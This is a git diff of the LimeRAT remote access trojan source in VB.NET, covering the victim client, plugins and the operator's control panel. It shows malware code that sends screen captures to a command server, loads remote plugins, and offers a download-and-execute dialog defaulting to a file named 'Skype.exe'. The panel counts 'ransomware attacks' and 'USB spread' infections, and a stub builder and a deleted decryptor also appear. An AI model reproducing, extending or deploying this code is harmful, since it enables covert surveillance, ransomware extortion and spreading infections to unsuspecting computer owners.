diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo index e2ad00a..b208b65 100644 Binary files a/.vs/LimeRAT/v15/.suo and b/.vs/LimeRAT/v15/.suo differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide index 39f93dd..6ca0b06 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm index 80198dc..8bff2bf 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal index 05d1b5b..fe5dd0e 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ diff --git a/Project/Client/C_Commands.vb b/Project/Client/C_Commands.vb index ce1ab25..db450ed 100644 --- a/Project/Client/C_Commands.vb +++ b/Project/Client/C_Commands.vb @@ -34,6 +34,7 @@ THU.Save(MM, System.Drawing.Imaging.ImageFormat.Jpeg) C_TcpClient.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray)) Try + _g.Dispose() MM.Dispose() THU.Dispose() G.Dispose() @@ -44,9 +45,10 @@ Case "CPL" 'check if plugin in installed, or ask server to send it If GTV(A(1)) = Nothing Then - Console.WriteLine(A(1)) + Diagnostics.Debug.WriteLine(A(1)) C_TcpClient.Send("GPL" + SPL + A(1)) Else + Diagnostics.Debug.WriteLine("Invoked") Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False)) End If diff --git a/Project/Plugins/ENC/Resources/DECF.exe b/Project/Plugins/ENC/Resources/DECF.exe deleted file mode 100644 index bcb22b7..0000000 Binary files a/Project/Plugins/ENC/Resources/DECF.exe and /dev/null differ diff --git a/Project/Plugins/ENC/Resources/DECF.exe.config b/Project/Plugins/ENC/Resources/DECF.exe.config deleted file mode 100644 index 79551f5..0000000 --- a/Project/Plugins/ENC/Resources/DECF.exe.config +++ /dev/null @@ -1,23 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Project/Plugins/PIN/Main.vb b/Project/Plugins/PIN/Main.vb index 906456b..44750b1 100644 --- a/Project/Plugins/PIN/Main.vb +++ b/Project/Plugins/PIN/Main.vb @@ -60,7 +60,7 @@ Public Class Main Exit Sub 'GoTo re Catch ex As Exception - Console.WriteLine("RC " + ex.Message) + Diagnostics.Debug.WriteLine("RC " + ex.Message) End Try End Sub Public Shared Function CS(ByVal Path As String, EXE As String) @@ -83,7 +83,7 @@ Public Class Main Dim path = shell.CreateShortcut(lnkPath).TargetPath Return path Catch ex As Exception - Console.WriteLine("GETLINK " + ex.Message) + Diagnostics.Debug.WriteLine("GETLINK " + ex.Message) End Try End Function Public Shared Function Randomz(ByVal L As Integer) diff --git a/Project/Server/Classes/S_Client.vb b/Project/Server/Classes/S_Client.vb index 9431349..a1eac4d 100644 --- a/Project/Server/Classes/S_Client.vb +++ b/Project/Server/Classes/S_Client.vb @@ -19,7 +19,6 @@ Public Class S_Client C.SendBufferSize = 1024 * 1000 Me.MS = New MemoryStream Me.IP = CL.RemoteEndPoint.ToString - C.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), Nothing) End Sub @@ -76,6 +75,7 @@ re: L.SubItems(S_Messages.M.PING.Index).Text = "Offline" L.ForeColor = Color.Red S_Messages.Messages("{" + IP + "}", "Disconnected") + S_Settings.Online.Remove(Me) End If End If Catch ex As Exception diff --git a/Project/Server/Classes/S_Messages.vb b/Project/Server/Classes/S_Messages.vb index f40fe61..e4cbe44 100644 --- a/Project/Server/Classes/S_Messages.vb +++ b/Project/Server/Classes/S_Messages.vb @@ -30,7 +30,7 @@ C.L.Tag = C Try : C.L.ToolTipText = String.Format("Administrator {0}" + Environment.NewLine + "Full Path {1}", A(14), A(15)) : Catch : End Try C.L.SubItems.Add(C.IP.Split(":")(0)) - + S_Settings.Online.Add(C) For i As Integer = 1 To A.Length - 1 If i = 15 Then Exit For C.L.SubItems.Add(A(i)) diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb index 1eab2c7..bf21623 100644 --- a/Project/Server/Classes/S_Settings.vb +++ b/Project/Server/Classes/S_Settings.vb @@ -6,5 +6,5 @@ Public Shared StubVer As String = "v0.1.9.1" Public Shared SPL As String = "|'L'|" Public Shared EOF As String = "|'N'|" - + Public Shared Online As New List(Of S_Client) End Class diff --git a/Project/Server/Forms/Main.Designer.vb b/Project/Server/Forms/Main.Designer.vb index f894fe4..8a9f4f9 100644 --- a/Project/Server/Forms/Main.Designer.vb +++ b/Project/Server/Forms/Main.Designer.vb @@ -1612,7 +1612,7 @@ Partial Class Main 'PingClients ' Me.PingClients.Enabled = True - Me.PingClients.Interval = 30000 + Me.PingClients.Interval = 60000 ' 'AutoUpdate ' diff --git a/Project/Server/Forms/Main.resx b/Project/Server/Forms/Main.resx index d4ee3d1..c160f57 100644 --- a/Project/Server/Forms/Main.resx +++ b/Project/Server/Forms/Main.resx @@ -134,7 +134,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - VAYAAk1TRnQBSQFMAgEB8wEAATABGQEwAhkBAAEQAQAE/wEhAQAI/wFCAU0BNgcAATYDAAEoAwABZAMA + VAYAAk1TRnQBSQFMAgEB8wEAAUgBGQFIAhkBAAEQAQAE/wEhAQAI/wFCAU0BNgcAATYDAAEoAwABZAMA AdABAwIAAQEBAAEgBgAB9QEF/wCiAAMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMU ARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxIBGAMI AQsDBQEHAxABFgMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMU diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb index 2dbcc93..ddd1931 100644 --- a/Project/Server/Forms/Main.vb +++ b/Project/Server/Forms/Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Nov./27/2018 ## +'## N Y A N C A T ||| Updated on JAN./16/2019 ## '################################################################## '## ## '## ## @@ -256,9 +256,9 @@ Public Class Main Await M.WriteAsync(CMD, 0, CMD.Length) Await M.WriteAsync(SB(S_Settings.EOF), 0, S_Settings.EOF.Length) Try - For Each x As ListViewItem In L1.Items - If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then - Dim CL As S_Client = CType(x.Tag, S_Client) + For Each x In S_Settings.Online.ToList + Dim CL As S_Client = CType(x, S_Client) + If Not x.L.SubItems(PING.Index).Text.ToString.Contains("Offline") Then CL.Send(M.ToArray) End If Next @@ -433,7 +433,7 @@ Public Class Main Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles LabelUpdate.Tick Try - MetroLabel1.Text = "ONLINE CLIENTS [" & L1.Items.Count & "] SELECTED CLIENTS [" & L1.SelectedItems.Count & "] TOTAL RANSOMWARE ATTACKS [" & KeyCount() & "] TOTAL USB SPREAD [" & SpreadCount() & "]" + MetroLabel1.Text = "ONLINE CLIENTS [" & S_Settings.Online.Count & "] SELECTED CLIENTS [" & L1.SelectedItems.Count & "] TOTAL RANSOMWARE ATTACKS [" & KeyCount() & "] TOTAL USB SPREAD [" & SpreadCount() & "]" Catch ex As Exception End Try End Sub @@ -987,10 +987,10 @@ Public Class Main Try If L1.Items.Count > 0 Then Dim o As New OpenFileDialog - With o - .Filter = ".exe (*.exe)|*.exe" - .Title = "UPDATE" - End With + With o + .Filter = ".exe (*.exe)|*.exe" + .Title = "UPDATE" + End With If o.ShowDialog = Windows.Forms.DialogResult.OK Then Dim PLG = Convert.ToBase64String(Await GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) @@ -1218,9 +1218,9 @@ Public Class Main Try If L1.Items.Count > 0 Then Dim o As New OpenFileDialog - With o - .Title = "RUN" - End With + With o + .Title = "RUN" + End With If o.ShowDialog = Windows.Forms.DialogResult.OK Then Dim PLG = Convert.ToBase64String(Await GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) @@ -1255,7 +1255,7 @@ Public Class Main Try If L1.Items.Count > 0 Then Dim URL As String = InputBox("Enter the direct link", "Run File", "http: //site.com/file.exe") - Dim EXE As String = InputBox("Enter the file name", "File Name", "Skype.exe") + Dim EXE As String = InputBox("Enter the file name", "File Name", "Skype.exe") If String.IsNullOrEmpty(URL) Then Exit Sub @@ -1448,9 +1448,9 @@ Public Class Main Await M.WriteAsync(CMD, 0, CMD.Length) Await M.WriteAsync(SB(S_Settings.EOF), 0, S_Settings.EOF.Length) - For Each x As ListViewItem In L1.Items - If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then - Dim CL As S_Client = CType(x.Tag, S_Client) + For Each x In S_Settings.Online.ToList + Dim CL As S_Client = CType(x, S_Client) + If Not CL.L.SubItems(PING.Index).Text.ToString.Contains("Offline") Then CL.Send(M.ToArray) End If Next @@ -1469,6 +1469,7 @@ Public Class Main #End Region + #Region "Builder" Private Sub MetroButton1_Click(sender As Object, e As EventArgs) Handles MetroButton1.Click @@ -1653,8 +1654,8 @@ Public Class Main definition.Dispose() Try : IO.File.Delete(Application.StartupPath & "\Misc\Stub\Stub.exe") : Catch : End Try - End If End If + End If Catch ex1 As Exception MsgBox(ex1.Message, MsgBoxStyle.Exclamation) Return